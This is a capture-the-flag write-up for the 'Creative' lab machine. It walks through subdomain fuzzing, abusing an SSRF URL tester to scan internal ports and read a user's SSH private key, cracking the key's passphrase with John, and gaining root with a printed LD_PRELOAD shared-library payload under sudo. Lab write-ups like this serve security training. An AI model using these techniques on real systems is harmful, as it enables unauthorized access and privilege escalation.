Creative

Exploit a vulnerable web application and some misconfigurations to gain root privileges. - by ssaadakhtarr


Recon

The Nmap scan reveals only two ports: port 22, on which we have SSH, and port 80, a web server with nginx 1.18.0.

Unfortunately, the Gobuster scan did not find anything interesting on the web server.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/creative]
└─$ gobuster dir -u http://creative.thm -w /usr/share/wordlists/dirb/big.txt 

Even a manual enumeration did not produce any useful results.

We have just a page with static links and some links leading to .html sites.

Time to enumerate some subdomains; hopefully we chose the right domain with creative.thm. We find the subdomain beta.creative.thm.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/creative]
└─$ ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://creative.thm/ -H "Host:FUZZ.creative.thm" -fw 6

Here we face a beta URL tester, which tests if an entered URL is alive or dead; if it is alive, we get redirected to the page. This is begging for SSRF.

But, we try the usual suspects first, like file inclusion, or command injection, since we are not aware of any restricted resource.

It seems like there is nothing to find and have to dig deeper making use of SSRF.

Shell as saad

Here are some scans tried before using the automatic SSRF fuzzer. We did not face any restricted resources, so command injection or LFI was the first thing that came to mind.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/creative]
└─$ ffuf -w /usr/share/wordlists/SecLists/Fuzzing/command-injection-commix.txt -u http://beta.creative.thm/ -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "url=FUZZ" -fw 3
SecLists/Fuzzing/LFI/LFI-etc-files-of-all-linux-packages.txt
SecLists/Fuzzing/LFI/LFI-Jhaddix.txt

But it is much simpler. With SSRF, we could also reach out to some internal ports; maybe there is a web server running internally containing sensitive information. To probe that, we could use Ffuf or any other fuzzer or SSRFmap. We'll do it with SSRFmap.

To keep it simple, we capture a request from an arbitrary URL submission and save it to request.txt.

After having the repo cloned and installing the requirements, we run the following command to check for internal ports using the module portscan:

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/creative/SSRFmap]
└─$ python3 ssrfmap.py -r request.txt -p url -m portscan

After a short duration, we find port 1337 to be open internally.

We can also use Ffuf instead of installing another tool. We would only have to generate a port list using seq. After a very short time, we get port 1337. The scan hangs briefly on port 5000, as beta.creative.thm is located on this internally, and the recursive call probably causes a short delay. After a little while, the scan continues.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/creative]
└─$ seq 65535 > ports.txt
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/creative]
└─$ ffuf -w ports.txt -u http://beta.creative.thm/ -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "url=http://127.0.0.1:FUZZ" -fw 3

Requesting the endpoint on 1337...

http://127.0.0.1:1337/

... we face a directory lisiting of a root folder.

We make a request to the home directory...

http://127.0.0.1:1337/home/

...And find the directory of user saad.

After having the home directory enumerated file by file, we find the users' flag and the private SSH key of saad in the .ssh folder.

http://127.0.0.1:1337/home/saad/.ssh/id_rsa

We request the key, and view the page source to save the contents properly.

After having saved the key and changed to the correct permission, we try to log in via SSH as saad, but we have to enter a passphrase for the SSH key.

We pass the key into ssh2john to generate a crackable hash for John.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/creative]
└─$ ssh2john id_rsa > id_rsa.hash  

Next, we crack the hash using John with rockyou.txt, and get the passphrase for the key.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/creative]
└─$ john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt 

With the passphrase, we are able to log in and are the user saad. In the user's home directory, we find the first flag, which was already accessible via the beta.creative.thm.

Shell as root

Enumerating the user's home directory, we find a .bash_history with content. This holds the credentials for the user saad.

With those credentials, we are able to query sudo -l. We are able to run /usr/bin/ping with sudo permissions, which is not really useful on its own; we are not able to escalate our privileges only with that. But there is another option present env_keep+=LD_PRELOAD. LD_PRELOAD is an environment variable used on Unix-like operating systems to load additional dynamic libraries before all others when a program is run. This can be used to override functions in other shared libraries.

If an attacker can set LD_PRELOAD to point to a malicious shared library, and this environment variable is preserved when running commands with sudo, it allows the attacker to execute arbitrary code with elevated privileges.

We make use of the following resource, which provides us with a previously mentioned shared library written in C. This library includes a function that escalates privileges to root by setting the user and group IDs to zero and launching a shell, effectively granting root shell access to the user.

shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/sh");
}

We compile the C code into a shared library.

gcc -fPIC -shared -o shell.so shell.c -nostartfiles
ls -al shell.so

Next, we execute the ping as sudo and set LD_PRELOAD to the previously crafted shared library. We get a root shell and are able to extract the root flag at /root.

sudo LD_PRELOAD=/tmp/shell.so /usr/bin/ping

Last updated